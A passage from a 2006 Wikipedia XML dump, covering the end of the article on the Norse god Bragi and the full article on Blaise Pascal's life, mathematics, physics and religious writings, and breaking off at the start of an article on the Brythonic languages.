In that poem Bragi at first forbids Loki to enter the hall but is overruled by Odin. Loki then gives a greeting to all gods and goddesses who are in the hall save to Bragi. Bragi generously offers his sword, horse, and an arm ring as peace gift but Loki only responds by accusing Bragi of cowardice, of being the most afraid to fight of any of the [[Æsir]] and [[Elves]] within the hall. Bragi responds that if they were outside the hall, he would have Loki's head, but Loki only repeats the accusation. When Bragi's wife Iðunn attempts to calm Bragi, Loki accuses her of embracing her brother's slayer, a reference to matters that have not survived. Perhaps Bragi had slain Iðunn's brother or perhaps the reference is to something else entirely.

A passage in the eddic poem ''[[Sigrdrífumál]]'' describes runes being graven on the sun, on the ear of one of the sun-horses and on the hoofs of the other, on [[Sleipnir]]'s teeth, on bear's paw, on eagle's beak, on wolf's claw, and on several other things including on Bragi's tongue. Then the runes are shaved off and the shavings are mixed with mead and sent abroad so that Æsir have some, Elves have some, [[Vanir]] have some, and Men have some, these being beech runes and birth runes, ale runes, and magic runes. The meaning of this is obscure.

The first part of Snorri Sturluson's ''[[Skáldskaparmál]]'' is a dialogue between [[Ægir]] and Bragi about the nature of poetry, particularly skaldic poetry. Bragi tells the origin of the mead of poetry from the blood of [[Kvasir]] and how Odin obtained this mead. He then goes on to discuss various poetic metaphors known as ''[[kenning]]s''. 

Snorri Sturluson clearly distinguishes the god Bragi from the mortal skald Bragi Boddason whom he often mentions separately. Bragi Boddason is discussed below. The appearance of Bragi in the ''Lokasenna'' indicates that if these two Bragis were originally the same, they have become separated for that author also, or that chronology has become very muddled and Bragi Boddason has been relocated to mythological time. Compare the appearance of the [[Wales|Welsh]] [[Taliesin]] in the second branch of the [[Mabinogion|Mabinogi]]. Legendary chronology sometimes does become muddled. Whether Bragi the god originally arose as a deified version of Bragi Boddason was much debated in the [[1800s|19th century]], especially by the [[Germany|German]] scholars Eugen Mogk and Sophus Bugge. The debate remains undecided.

In the poem ''[[Eiríksmál]]'' Odin, in [[Valhalla]], hears the coming of the dead [[Norway|Norwegian]] king Eirík Bloodaxe and his host, and bids the heroes [[Sigmund]] and [[Sinfjötli]] rise to greet him. Bragi is then mentioned, questioning how Odin knows that it is Eirik and why Odin has let such a king die. In the poem ''[[Hákonarmál]]'', Hákon the Good is taken to Valhalla by the [[valkyrie]] [[Göndul]] and Odin sends [[Hermóðr]] and Bragi to greet him. In these poems Bragi could be either a god or a dead hero in Valhalla. Attempting to decide is further confused because ''Hermóðr'' also seems to be sometimes the name of a god and sometimes the name of a hero. That Bragi was also the first to speak to Loki in the ''Lokasenna'' as Loki attempted to enter the hall might be a parallel. It might have been useful and customary that a man of great eloquence and versed in poetry should greet those entering a hall.

A connection between Bragi and the ''bragarfull'' 'promise cup' is sometimes suggested, as  ''bragafull'', an alternate form of the word, might be translated as 'Bragi's cup'. See '''[[Bragarfull]]'''.

==Other Spellings==
* Norwegian form: ''Brage''
* German form: ''Brego''

===Modern invention===
* Bragi's mother was Frigg.
* Bragi's mother was son of Odin by the giantess [[Gunnlod|Gunnlöd]].
* Bragi was generally conceived to have runes permanently carved into his tongue.
* Bragi was told to let the runes out like butterflies at banquets of the gods and in Valhalla in the form of poetry.
* Bragi had runes carved on his tongue by his wife Iðunn, the inventor of runes. (This is an invention of Barbara Walker, author of ''The Crone''.)
* Bragi was responsible for dolling out the mead of poetry.
* Bragi customarily greeted new arrivals to Valhalla. (In fact this occurs only in the poem ''Eiríksmál''.)

Some of the above are reasonable as modern literary invention in retellings or as scholarly speculation and may even have been what the ancient Norse believed for all that is known, but they are not found in surviving texts.

A. &amp; E. Keary in the back matter to their ''Heroes of Asgard'' (published in 1891), provides the following on Bragi's name:
&lt;blockquote&gt;From ''braga'', &quot;to shine;&quot; or ''bragga'', &quot;to adorn.&quot; ''Bragr'', which in Norse signifies &quot;poetry,&quot; has become in English &quot;to brag,&quot; and a poet &quot;a braggart.&quot; From Bragi's bumper, the Bragafull, comes our word &quot;bragget,&quot; and probably, also, the verb &quot;to brew;&quot; Norse, ''brugga''.&lt;/blockquote&gt;
A relation to ''braga'' 'to shine' is not generally accepted, must less to ''bragga'' or ''brugga''. English ''brag'' might indeed be from Old Norse ''braugr'', discussed above, if not from ''braying'' of a trumpet. But English ''brew'' is certainly unrelated to Bragi, though ''brew'' is related to Old Norse ''brugga''.

==Bragi Boddason==
In his ''Edda'' Snorri Sturluson quotes many stanzas attributed to '''Bragi Boddason''' the old (''Bragi Boddason inn gamli''), a court poet who served several Swedish kings, [[Ragnar Lodbrok]], [[Östen Beli]] and [[Björn at Hauge]] who reigned in the first half of the [[800s|ninth century]]. This Bragi was reckoned as the first skaldic poet, and was certainly the earliest skaldic poet then remembered by name whose verse survived in memory.

Snorri especially quotes passages from Bragi's ''[[Ragnarsdrápa]]'', a poem supposedly composed in honor of the famous legendary viking [[Ragnar Lodbrok|Ragnar Lodbrók]] ('Hairy-breeks') describing the images on a decorated shield which Ragnar had given to Bragi. The images included Thor's fishing for [[Jörmungandr]], [[Gefjun]]'s ploughing of [[Zealand]] from the soil of Sweden, the attack of [[Hamdir and Sorli]] against King [[Ermanaric|Jörmunrekk]], and the never-ending battle between [[Hedin and Högni]].

==Bragi son of Hálfdan the Old==
'''Bragi son of Hálfdan the Old''' is mentioned only in the ''Skjáldskaparmál''. This Bragi is the sixth of the second of two groups of nine sons fathered by King Hálfdan the Old on Alvig the Wise, daughter of King Eymund of [[Novgorod|Hólmgard]]. This second group of sons are all eponymous ancestors of legendary families of the north. Snorri says:
&lt;blockquote&gt;Bragi, from whom the Bragnings are sprung (that is the race of Hálfdan the Generous).&lt;/blockquote&gt;
Of the Bragnings as a race and of Hálfdan the Generous nothing else is known. However ''Bragning'' is often, like some others of these dynastic names, used in poetry as a general word for 'king' or 'ruler'.

==Bragi Högnason==
In the eddic poem ''[[Helgakviða Hundingsbana II]]'', '''Bragi Högnason''', his brother Dag, and his sister Sigrún were children of [[Högne]], the king of [[East Götaland]]. The poem relates how [[Sigmund]]'s son [[Helgi Hundingsbane]] agreed to take Sigrún daughter of Högni as his wife against her unwilling betrothal to Hodbrodd son of [[Granmar]] the king of [[Sudermannia|Södermanland]]. In the subsequent battle of Frekastein (probably one of the 300 [[hill fort]]s of Södermanland, as ''stein'' meant &quot;hill fort&quot;) against Högni and Grammar, all the chieftains on Granmar's side are slain, including Bragi, except for Bragi's brother Dag.

==See also==
{{NorseMythology}}
{{commonscat|Bragi}}

[[Category:Norse mythology]]
[[Category:Arts gods]]
[[Category:Norse gods]]
[[da:Brage]]
[[de:Bragi]]
[[el:Μπράγκι]]
[[es:Bragi]]
[[eo:Bragi]]
[[fr:Bragi]]
[[hr:Bragi]]
[[it:Bragi]]
[[lt:Bragis]]
[[nl:Bragi]]
[[ja:ブラギ]]
[[no:Brage]]
[[pl:Bragi]]
[[pt:Bragi]]
[[ru:Браги]]
[[sv:Brage]]</text>
    </revision>
  </page>
  <page>
    <title>Blaise Pascal</title>
    <id>4068</id>
    <revision>
      <id>41502427</id>
      <timestamp>2006-02-27T20:22:02Z</timestamp>
      <contributor>
        <username>Dbergan</username>
        <id>256509</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name   = Blaise Pascal |
  image_name     = Blaise pascal.jpg |
  image_caption  = Blaise Pascal |
  date_of_birth  = [[June 19]], [[1623]] |
  place_of_birth = [[Clermont-Ferrand]], [[France]] |
  dead=dead |
  date_of_death  = [[August 19]], [[1662]] |
  place_of_death = [[Paris]], [[France]]
}}
'''Blaise Pascal''' ([[June 19]], [[1623]]–[[August 19]],[[1662]]) was a [[France|French]] [[mathematician]], [[physicist]], and [[religion|religious]] [[philosopher]]. Pascal was a [[child prodigy]], who was educated by his father. Pascal's earliest work was in the natural and applied [[science]]s, where he made important contributions to the construction of mechanical [[calculator]]s and the study of [[fluid]]s, and clarified the concepts of [[pressure]] and [[vacuum]] by expanding the work of [[Evangelista Torricelli]]. Pascal also wrote powerfully in defense of the [[scientific method]].

He was a mathematician of the first order.  In [[mathematics]], Pascal helped create two major new areas of research. He wrote a significant treatise on the subject of [[projective geometry]] at the age of sixteen and corresponded with [[Pierre de Fermat]] from 1654 on [[probability theory]], strongly influencing the development of modern [[economics]] and [[social sciences|social science]].

Following a [[mysticism|mystical]] experience in late 1654, he left mathematics and [[physics]] and devoted himself to reflection and writing about philosophy and [[theology]]. His two most famous works date from this period: the ''[[Lettres provinciales]]'' and the ''[[Pensées]]''. However, he had suffered from ill-health throughout his life and his new interests were ended by his early death two months after his 39th birthday.

==Early life and education==
Born in [[Clermont-Ferrand]], in the [[Auvergne (région)|Auvergne]] region of [[France]], Blaise Pascal lost his mother, Antoinette Begon, at the age of three. His father, [[Étienne Pascal]] (1588–1651), was a local judge and member of the ''petite noblesse'', who also had an interest in science and mathematics. Blaise Pascal was brother to Jacqueline Pascal and two other sisters, only one of whom, Gilberte, survived past childhood.

In 1631, Étienne moved with his children to [[Paris]]. Étienne decided that he would educate his son, who showed extraordinary mental and intellectual abilities.  Young Pascal showed immediate aptitude for mathematics and science, perhaps inspired by his father's regular conversations with Paris' leading geometricians, including [[Gilles de Roberval|Roberval]], [[Mersenne]], [[Desargues]], [[Mydorge]], [[Gassendi]], and [[Descartes]].  At the age of eleven, he composed a short treatise on the sounds of vibrating bodies and Étienne responded by forbidding his son to further pursue mathematics until the age of fifteen, so as not to harm his study of [[Latin]] and [[Greek language|Greek]].  &quot;When asked one day by his father what he was doing, he indicated that he was trying to express the relationship between the angles of a right triangle and two right angles - that is, he was working on what is the thirty-second proposition in book 1 of Euclid's ''Elements of Geometry''.  It is not true, as some have said, that he had reinvented the theorems of Euclid to that point.  Still, it was an astonishing performance; and it seemed so marvelous to his father that he no longer sought to hold Blaise back in the study of mathematics.&quot;(1)

Particularly of interest to the young Pascal was the work of Desargues. Following Desargues's thinking, at age sixteen Pascal produced a treatise on [[conic sections]], ''Essai pour les coniques'' (&quot;Essay on Conics&quot;).  Most of it has been lost, but an important original result has lasted, now known as [[Pascal's theorem]].  Pascal's work was so precocious that Descartes, when shown the manuscript, refused to believe that the composition was not by his father.

In 1638, Étienne's opposition to fiscal relations of [[Cardinal Richelieu]] caused the family to flee Paris. It was only when Jacqueline performed well in a children's play performed in front of Richelieu that Étienne was pardoned. By 1639, the family had moved to [[Rouen]] where Étienne became a tax collector. 

At age eighteen Pascal constructed a mechanical calculator, called [[Pascal's calculator]] or the Pascaline, capable of addition and subtraction, to help his father with this work.  The [[Zwinger]] [[museum]], in [[Dresden]], [[Germany]], exhibits one of his original mechanical calculators. Though these machines stand near the head of the development of [[computer engineering]], the calculator failed to be a great commercial success.  Pascal continued to make improvements to his design through the next decade and built a total of fifty machines.

==Contributions to mathematics==
[[Image:Blaise Pascal.jpeg|175px|right|thumb|Portrait of Blaise Pascal]]
 
In addition to the childhood marvels recorded above, Pascal continued to influence mathematics throughout his life.  In 1653 Pascal wrote his ''Traité du triangle arithmétique'' in which he described a convenient tabular presentation for [[binomial coefficient]]s, the &quot;arithmetical triangle&quot;, now called [[Pascal's triangle]]. (It should be noted, however, that [[Yang Hui]], a [[Chinese people|Chinese]] mathematician of the Qin dynasty, had independently worked out a concept similar to Pascal's triangle four centuries earlier.)

In 1654, prompted by a friend interested in gambling problems, he corresponded with [[Fermat]] on the subject, and from that collaboration was born the mathematical theory of [[probability|probabilities]]. The friend was the [[Chevalier de Méré]], and the specific problem was that of two players who want to finish a game early and, given the current circumstances of the game, want to divide the stakes fairly, based on the chance each has of winning the game from that point.  (This was the introduction of the notion of [[expected value]].) Pascal later (in the ''Pensées'') used a probabilistic argument, [[Pascal's Wager]], to justify belief in [[God]] and a virtuous life. The work done by Fermat and Pascal into the calculus of probabilities laid important groundwork for [[Leibniz]]'s formulation of the [[infinitesimal calculus]]. [http://www.math.rutgers.edu/courses/436/Honors02/leibniz.html]

After a religious experience in 1654, Pascal mostly gave up work in mathematics. However, after a sleepless night in 1658 he offered, anonymously, a prize for the quadrature of a [[cycloid]].  Solutions were offered by [[John Wallis|Wallis]], [[Christiaan Huygens|Huygens]], [[Christopher Wren|Wren]], and others; then Pascal, under a pseudonym, published his own solution.  A controversy followed in which the competitors, including Pascal, behaved less than philosophically.

===Philosophy of mathematics===
Pascal's major contribution to the [[philosophy of mathematics]] came with his ''De l'Esprit géométrique'' (&quot;On the Geometrical Spirit&quot;), originally written as a preface to a geometry textbook for one of the famous &quot;Little Schools of Port-Royal&quot; (''Les Petites-Ecoles de Port-Royal''). The work was unpublished until over a century after his death. Here Pascal looked into the issue of discovering truths, arguing that the ideal such method would be to found all propositions on already established truths. At the same time, however, he claimed this was impossible because such established truths would require other truths to back them up—first principles cannot be reached. Based on this, Pascal argued that the procedure used in geometry was as perfect as possible, with certain principles assumed and other propositions developed from them. Nevertheless, there was no way to know the assumed principles to be true. 

In ''De l'Art de persuader'', Pascal looked deeper into geometry's [[axiomatic method]], specifically the question of how people come to be convinced of the axioms upon which later conclusions are based. Pascal agreed with [[Montaigne]] that achieving certainty in these axioms and conclusions through human methods is impossible. He asserted that these principles can only be grasped through intuition, and that this fact underscored the necessity for submission to God in searching out truths.

Pascal also used ''De l'Esprit géométrique'' to develop a theory of [[definition]]. He distinguished between definitions which are conventional labels defined by the writer and definitions which are within the language and understood by everyone because they naturally designate their referent. The second type would be characteristic of the philosophy of [[essentialism]]. Pascal claimed that only definitions of the first type were important to science and mathematics, arguing that those fields should adopt the philosophy of [[formalism]] as formulated by [[Descartes]].

===Contributions to the physical sciences===
Pascal's work in the fields of the study of fluids ([[hydrodynamics]] and [[hydrostatics]]) centered on the principles of [[hydraulic fluid|hydraulic fluids]]. His inventions include the hydraulic press (using hydraulic pressure to multiply force) and the [[syringe]]. By 1646 Pascal had learned of [[Evangelista Torricelli]]'s experimentation with [[barometer]]s. Having replicated an experiment which involved placing a tube filled with mercury upside down in a bowl of mercury, Pascal questioned what force kept some mercury in the tube and what filled the space above the mercury in the tube. At the time, most scientists contended that some invisible matter was present there—not a [[vacuum]].

Following more experimentation in this vein, in 1647 Pascal produced ''Experiences nouvelles touchant le vide'', which detailed basic rules describing to what degree various liquids could be supported by air pressure. It also provided reasons why it was indeed a vacuum above the column of liquid in a barometer tube. 

In 1648 Pascal continued his experiments by having his brother-in-law carry a barometer to higher elevation, confirming that the level of mercury would change, a result which Pascal replicated by carrying a barometer up and down a church tower in Paris.  The experiment was hailed throughout Europe as finally establishing the principle and value of the barometer.

In the face of criticism that some invisible matter existed in Pascal's empty space, Pascal delivered in his reply to [[Estienne Noel]] one of the seventeenth century's major statements on the [[scientific method]]: &quot;In order to show that a hypothesis is evident, it does not suffice that all the phenomena follow from it; instead, if it leads to something contrary to a single one of the phenomena, that suffices to establish its falsity.&quot; His insistence on the existence of the vacuum also led to conflict with a number of other prominent scientists, including [[Descartes]].

==Mature life, religion, philosophy, and literature==
[[Image:ph-objects-pascal-1.jpg|300px|left|thumb|Pascal's statue at the [[Louvre]].]]
===Religious conversion===
Biographically, we can say that two basic influences led him to his conversion: sickness and [[Jansenism]].  As early as his eighteenth year he suffered from a nervous ailment that left him hardly a day without pain.  In 1647 a paralytic attack so disabled him that he could not move without crutches.  His head ached, his bowels burned, his legs and feet were continually cold, and required wearisome aids to circulation of the blood; he wore stockings steeped in brandy to warm his feet.  Partly to get better medical treatment, he moved to Paris with his sister Jacqueline.  His health improved, but his nervous system had been permanently damaged.  Henceforth he was subject to deepening [[hypochondria]], which affected his character and his philosophy.  He became irritable, subject to fits of proud and imperious anger, and he seldom smiled. {{ref|sickness}}

In 1645, Pascal's father was wounded in the thigh and was consequently looked after by a [[Jansenist]] physician.  Blaise spoke with the doctor frequently, and upon his successful treatment of Étienne, borrowed works by Jansenist authors through him.  In this period, Pascal experienced a sort of &quot;first conversion&quot; and began in the course of the following year to write on theological subjects.  

Pascal fell away from this initial religious engagement and experienced a few years of what he called a &quot;worldly period&quot; (1648–54).  His father died in 1651, and Pascal gained control over both his inheritance and that of his sister Jacqueline. In the same year Jacqueline moved to become a nun at [[Port-Royal]], despite her brother's opposition. When the time came for her to make her ultimate vows, he refused to return to her enough of her inheritance to pay her dowry as a bride of Christ; without money she would attain a less desirable position in the convent hierarchy. Eventually, however, he relented on this point. {{ref|M93}}

When this was settled, Pascal found himself both rich and free.  He took a sumptuously furnished home, staffed it with many servants, and drove about Paris in a coach behind four or six horses.  His leisure was spent in the company of wits, women, and gamblers (as evidenced by his work on probability).  For an exciting while he pursued in Auvergne a lady of beauty and learning, whom he referred to as the &quot;[[Sappho]] of the countryside.&quot; {{ref|Sappho}}  About this time he wrote a ''Discours sur les passions de l'amour'', and apparently he contemplated marriage—which he was later to describe as &quot;the lowest of the conditions of life permitted to a Christian.&quot; {{ref|marriage}}

Jacqueline reproached him for his frivolity and prayed for his reform.  During visits to his sister at Port-Royal in 1654, he displayed contempt for affairs of the world but was not drawn to God. {{ref|EP52}}  Until...

===Upon brink of death===
In late 1654 he was involved in an accident at the [[Neuilly]] bridge where the horses plunged over the parapet and the carriage nearly followed them.  Fortunately, the reins broke and the coach hung half over the edge.  Pascal and his friends emerged, but the sensitive philosopher, terrified by the nearness of death, fainted away, and remained unconscious for some time.  Upon recovering fifteen days later, on [[November 23]], [[1654]], between ten thirty and twelve thirty at night, Pascal had an intense religious vision and immediately recorded the experience in a brief note to himself, which began: &quot;Fire. God of Abraham, God of Isaac, God of Jacob, not of the philosophers and the scholars…&quot; and concluded by quoting Psalm 119:16: &quot;I will not forget thy word. Amen.&quot;  He seems carefully to have sewn this document into his coat and always transferred it when he changed clothes; a servant discovered it only by chance after his death.{{ref|OC618}} During his lifetime, Pascal was often mistakenly thought to be a [[libertine]], and was later dismissed as an individual who had only a deathbed conversion.

His belief and religious commitment revitalized, Pascal visited the older of two convents at Port-Royal for a two-week retreat in January 1655. For the next four years, he regularly traveled between Port-Royal and Paris.  It was at this point immediately after his conversion when he began writing his first major literary work on religion, the ''Provincial Letters''.

===The ''Provincial Letters''===
{{main|Lettres provinciales}}
{{French literature (small)}}
Beginning in 1656, Pascal published his memorable attack on [[casuistry]], a popular [[ethics|ethical]] method used by [[Catholicism|Catholic]] thinkers in the early modern period (especially the [[Jesuits]]). Pascal denounced casuistry as the mere use of complex reasoning to justify moral laxity.  His method of framing his arguments was clever: the ''Provincial Letters'' pretended to be the report of a Parisian to a friend in the provinces on the moral and theological issues then exciting the intellectual and religious circles in the capital.  Pascal, combining the fervor of a convert with the wit and polish of a man of the world, reached a new level of style in French prose.  The 18-letter series was published between 1656 and 1657 under the pseudonym Louis de Montalte and incensed [[Louis XIV of France|Louis XIV]], who ordered in 1660 that the book be shredded and burnt. In 1661, the Jansenist school at Port-Royal was condemned and closed down; those involved in it had to sign a 1656 [[papal bull]] condemning the teachings of Jansen as heretical.  The final letter defied the Pope himself, provoking [[Alexander VII]] to condemn the letters (September 6, 1657).  But that didn't stop all of educated France from reading them.  Even Pope Alexander, while publicly opposing them, nonetheless was persuaded by Pascal's arguments.  He condemned &quot;laxism&quot; in the church and ordered a revision of casuistical texts just a few years later (1665–66).

Aside from their religious influence, the ''Lettres provinciales'' were popular as a literary work. Pascal's use of humor, mockery, and vicious [[satire]] in his arguments made the letters ripe for public consumption, and influenced the prose of later French writers like [[Voltaire]] and [[Jean-Jacques Rousseau]]. The first few letters promote major principles of [[Jansenist]] teaching, for instance the dogmas of &quot;proximate power&quot; (Letter I) and &quot;sufficient grace&quot; (Letter II), and explain why they are not heretical. The later letters find Pascal more on the defensive—pressure on the Port Royal Jansenists to renounce their teachings was constantly growing through this time—and contain the assault on casuistry. Letter XIV contains the unique apology, &quot;I would have written a shorter letter, but I did not have the time.&quot;

Wide praise has been given to the ''Provincial Letters''.  [[Voltaire]] called the ''Letters'' &quot;the best-written book that has yet appeared in France.&quot;{{ref|VoltaireLetters}}  And when [[Bossuet]] was asked what book he would rather have written had he not written his own, he answered, the ''Provincial Letters'' of Pascal.{{ref|BossuetLetters}}

===Miracle===
When Pascal was back in Paris just after overseeing the publication of the last ''Letter'', his religion was reinforced by the close association to an apparent miracle in the chapel of the Port-Royal nunnery.  His 10-year-old niece, Marguerite Périer, was suffering from a painful [[fistula]] lacrymalis that exuded noisome pus through her eyes and nose—an affliction the doctors pronounced hopeless.  Then on [[March 24]], [[1657]], a believer had presented to Port-Royal what he and others claimed to be a thorn from the crown that had tortured Christ.  The nuns, in solemn ceremony and singing psalms, placed the thorn on their altar.  Each in turn kissed the relic, and one of them, seeing Marguerite among the worshipers, took the thorn and with it touched the girl's sore.  That evening, we are told, Marguerite expressed surprise that her eye no longer pained her; her mother was astonished to find no sign of the fistula; a physician, summoned, reported that the discharge and swelling had disappeared.  He, not the nuns, spread word of what he termed a miraculous cure.  Seven other physicians who had had previous knowledge of Marguerite's fistula subscribed a statement that in their judgment a miracle had taken place.  The diocesan officials investigated, came to the same conclusion, and authorized a Te Deum Mass in Port-Royal.  Crowds of believers came to see and kiss the thorn; all Catholic Paris acclaimed a miracle.  Later both Jansenists and Catholics used this well-documented miracle to their defense.  In 1728, [[Pope Benedict XIII]] referred to the case as proving that the age of miracles had not passed.

Pascal made himself an armorial emblem of an eye surrounded by a crown of thorns, with the inscription ''Scio cui credidi''—&quot;I know whom I have believed.&quot; {{ref|ThornMiracle}}  His beliefs renewed, he set his mind to write his final, and alas, unfinished testament, the ''Pensées''.

===The ''Pensées''===
{{main|Pensées}}
Unfortunately, Pascal couldn't finish his most influential theological work, the ''Pensées'', before his death.  It was to have been a sustained and coherent examination of and defense of the [[Christianity|Christian faith]], with the original title ''Apologie de la religion Chrétienne'' (&quot;Defense of the Christian Religion&quot;).  What was found upon sifting through his personal items after his death were numerous scraps of paper with isolated thoughts, grouped in a tentative, but telling, order.  The first version of the detached notes appeared in print as a book in 1670 titled ''Pensées de M. Pascal sur la réligion, et sur quelques autres sujets'' (&quot;Thoughts of M. Pascal on religion, and on other subjects&quot;) and soon thereafter became a classic.  Because his friends and the scholars at Port-Royal were concerned that these fragmentary &quot;thoughts&quot; might lead to skepticism rather than to piety, they concealed the skeptical pieces and modified some of the rest, lest King or Church should take offense{{ref|peity}} for at that time the persecution of Port-Royal had ceased, and the editors were not interested in a renewal of controversy.  Not until the nineteenth century were the ''Pensées'' published in their full and authentic text.

Pascal's ''Pensées'' is widely considered to be a masterpiece, and a landmark in French prose.  When commenting on  one particular section, [[Sainte-Beuve]] praised it as the finest pages in the French language.{{ref|finest}}  [[Will Durant]], in his 11-volume, comprehensive [[The Story of Civilization]] series, hailed it as &quot;the most eloquent book in French prose.&quot;{{ref|eloquent}}  In ''Pensées'', Pascal surveys several philosophical paradoxes: infinity and nothing, faith and reason, soul and matter, death and life, meaning and vanity—seemingly arriving at no definitive conclusions besides humility, ignorance, and grace.  Rolling these into one he develops [[Pascal's Wager]].

===Last works and death===
[[T.S. Eliot]] described him during this phase of his life as &quot;a man of the world among ascetics, and an ascetic among men of the world.&quot; Pascal's ascetic lifestyle derived from a belief that it was natural and necessary for man to suffer. In 1659 Pascal, whose health had never been good, fell seriously ill. During his last years of bad health, he frequently tried to reject the ministrations of his doctors, saying, &quot;Sickness is the natural state of Christians.&quot; {{ref|M104-}}

Louis XIV suppressed the Jansenist movement at Port-Royal in 1661. In response, Pascal wrote one of his final works, ''Écrit sur la signature du formulaire'', exhorting the Jansenists not to give in. Later that year, his sister Jacqueline died, which convinced Pascal to cease his polemics on Jansenism. Pascal's last major achievement, returning to his mechanical genius, was inaugurating perhaps the first [[bus]] line, moving passengers within Paris in a carriage with many seats. 

In 1662, Pascal's illness became more violent. Aware that he had little chance to survive, he sought a move to the hospital for incurable diseases, but his doctors declared that he was too unstable to be carried. In [[Paris]] on [[August 18]], [[1662]], Pascal went into convulsions and received [[extreme unction]]. He died the next morning, his last words being &quot;May God never abandon me,&quot; and was buried in the cemetery of [[Saint-Étienne-du-Mont]].{{ref|M104}}

An [[autopsy]] performed after his death revealed grave problems with his stomach and other organs of his abdomen, along with damage to his [[brain]]. Despite the autopsy, the cause of his continual poor health was never precisely determined, though speculation focuses on [[tuberculosis]], stomach [[cancer]], or a combination of the two.{{ref|M103}} The headaches which afflicted Pascal are generally attributed to his brain lesion.

==Legacy==
In honor of his scientific contributions, the name '''Pascal''' has been given to the [[pascal (unit)|SI unit of pressure]], to a [[Pascal programming language|programming language]], and [[Pascal's law]] (an important principle of hydrostatics), and as mentioned above, Pascal's triangle and Pascal's wager still bear his name.

In Canada, there is an annual math contest named in his honour. The Pascal Contest is open to any student in Canada that is 14 years or under and is in grade 9 or lower.

Pascal's development of probability theory was his most influential contribution to mathematics. Originally applied to [[gambling]], today it is extremely important in [[economics]], especially in [[actuarial science]]. John Ross writes, &quot;Probability theory and the discoveries following it changed the way we regard uncertainty, risk, decision-making, and an individual's and society's ability to influence the course of future events.&quot; [http://www.nature.com/embor/journal/v5/n1s/full/7400229.html] However, it should be noted that Pascal and Fermat, though doing important early work in probability theory, did not develop the field very far. [[Christiaan Huygens]], learning of the subject from the correspondence of Pascal and Fermat, wrote the first book on the subject. Later figures who continued the development of the theory include [[Abraham de Moivre]] and [[Pierre-Simon Laplace]].

In literature, Pascal is regarded as one of the most important authors of the French Classical Period, and is read today as one of the greatest masters of French prose. His use of satire and wit influenced later [[polemic]]ists. The content of his literary work is best remembered for its strong opposition to the [[Continental rationalism|rationalism]] of [[René Descartes]] and simultaneous assertion that the main countervailing philosophy, [[empiricism]], was also insufficient for determining major truths.

A discussion of Pascal figures prominently in the movie ''[[My Night At Maud's]]'' by the French director [[Éric Rohmer]].

==Works==
* ''Essai pour les coniques'' (1639)
* ''Experiences nouvelles touchant le vide'' (1647)
* ''Traité du triangle arithmétique'' (1653)
* ''[[Lettres provinciales]]'' (1656–57)
* ''De l'Esprit géométrique'' (1657 or 1658)
* ''Écrit sur la signature du formulaire'' (1661)
* ''[[Pensées]]'' (incomplete at death)

==References==
* Broome, JH. ''Pascal''. ISBN  0713150211
* (1)Davidson, Hugh M.,'''Blaise Pascal'''.Boston: Twayne Publishers, 1983.
* Muir, Jane. ''Of Men and Numbers''. New York: Dover Publications, Inc, 1996. ISBN 0486289737
* ''Encyclopedia of Philosophy'', 1967 edition, s.v. &quot;Pascal, Blaise.&quot; &lt;!-- vol. 6, p.51-55, New York: Macmillan, Paul Edwards (ed.), Richard H. Popkin (article author) --&gt;
* Pascal, Blaise. ''Oeuvres compl&amp;egrave;tes''. Paris: Seuil, 1960.

==Notes==
# {{note|sickness}} Sainte-Beuve, ''Port-Royal'', I, 89.
# {{note|M93}} Muir, 93.
# {{note|Sappho}} Pascal, ''[[Pensées]]'', Havet ed. Introd., p. ''civ''.
# {{note|marriage}} Mesnard, ''Pascal'', 57.
# {{note|EP52}} ''Encyclopedia of Philosophy'', 52.
# {{note|OC618}} ''Oeuvres compl&amp;egrave;tes'', 618.
# {{note|VoltaireLetters}} Voltaire, ''Age of Louis XIV'' 424, 358.
# {{note|BossuetLetters}} Voltaire, ''Age of Louis XIV'' 359.
# {{note|ThornMiracle}} Sainte-Beuve, ''Port-Royal'', III, 173f.; Beard, Charles, ''Port-Royal'', I 84.
# {{note|peity}} Pascal, ''[[Pensées]]'', Introduction, p. ''xxviii''; Mesnard, ''Pascal'', 137-138.
# {{note|finest}} Sainte-Beuve, ''Seventeenth Century'', 174.
# {{note|eloquent}} Durant, ''The Age of Louis XIV'', 66.
# {{note|M104-}} Muir, 104.
# {{note|M104}} Muir, 104.
# {{note|M103}} Muir, 103.

==See also==
* [[Pascal's Wager]]
* [[Pascal's triangle]]
* [[Pascal's theorem]]
* [[Pascal programming language]]
* [[pascal (unit)]]
* [[Pascal's calculator]]
* [[Pascal's law]]

==External links==
{{wikiquote}}

[http://www.romancatholicism.org JANSENISM RESOURCES: features various primary texts and discussions relating to the theology and history of Pascal and Jansenism]
* {{MacTutor Biography|id=Pascal}}
* [http://www.nndb.com/people/976/000024904/ Biography] at NNDB.
* Etext of Pascal's ''[http://www.ccel.org/p/pascal/pensees/pensees.htm Pensées]'' (English, in various formats)
* Etext of Pascal's ''[http://oregonstate.edu/instruct/phl302/texts/pascal/letters-a.html Lettres Provinciales]'' (English)
* Etext of a number of Pascal's [http://www.bartleby.com/48/3/ minor works] (English translation) including, among others, ''De l'Esprit géométrique'' and ''De l'Art de persuader''.
* [http://www.nature.com/embor/journal/v5/n1s/full/7400229.html &quot;Pascal's Legacy&quot;], an article by John Ross on the influence of Pascal's probability theory.
* [http://fermatslasttheorem.blogspot.com/2005/09/blaise-pascal.html Blaise Pascal], An article from the Fermat's Last Theorem Blog.
* [http://www.biblioweb.org/-PASCAL-Blaise-.html Biography, Bibliography.] (in French)
* [http://www.eucliduniversity.org/euclid/en/school-bp.asp The Blaise Pascal School of Computing Sciences at Euclid University]

[[Category:1623 births|Pascal, Blaise]]
[[Category:1662 deaths|Pascal, Blaise]]
[[Category:17th century mathematicians|Pascal, Blaise]]

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[[ca:Blaise Pascal]]
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[[eo:Blaise PASCAL]]
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[[fr:Blaise Pascal]]
[[ko:블레즈 파스칼]]
[[io:Blaise Pascal]]
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[[la:Blasius Pascalis]]
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[[ja:ブレーズ・パスカル]]
[[no:Blaise Pascal]]
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[[tr:Blaise Pascal]]
[[zh:布莱士·帕斯卡]]</text>
    </revision>
  </page>
  <page>
    <title>Brythonic languages</title>
    <id>4069</id>
    <revision>
      <id>40599357</id>
      <timestamp>2006-02-21T19:05:42Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>Great Britain</comment>
      <text xml:space="preserve">{{Infobox Language family
  |name=Brythonic
  |altname=Brittonic
  |region=[[Great Britain]] and [[Brittany]]
  |familycolor=Indo-European
  |fam1=[[Indo-European languages|Indo-European]]
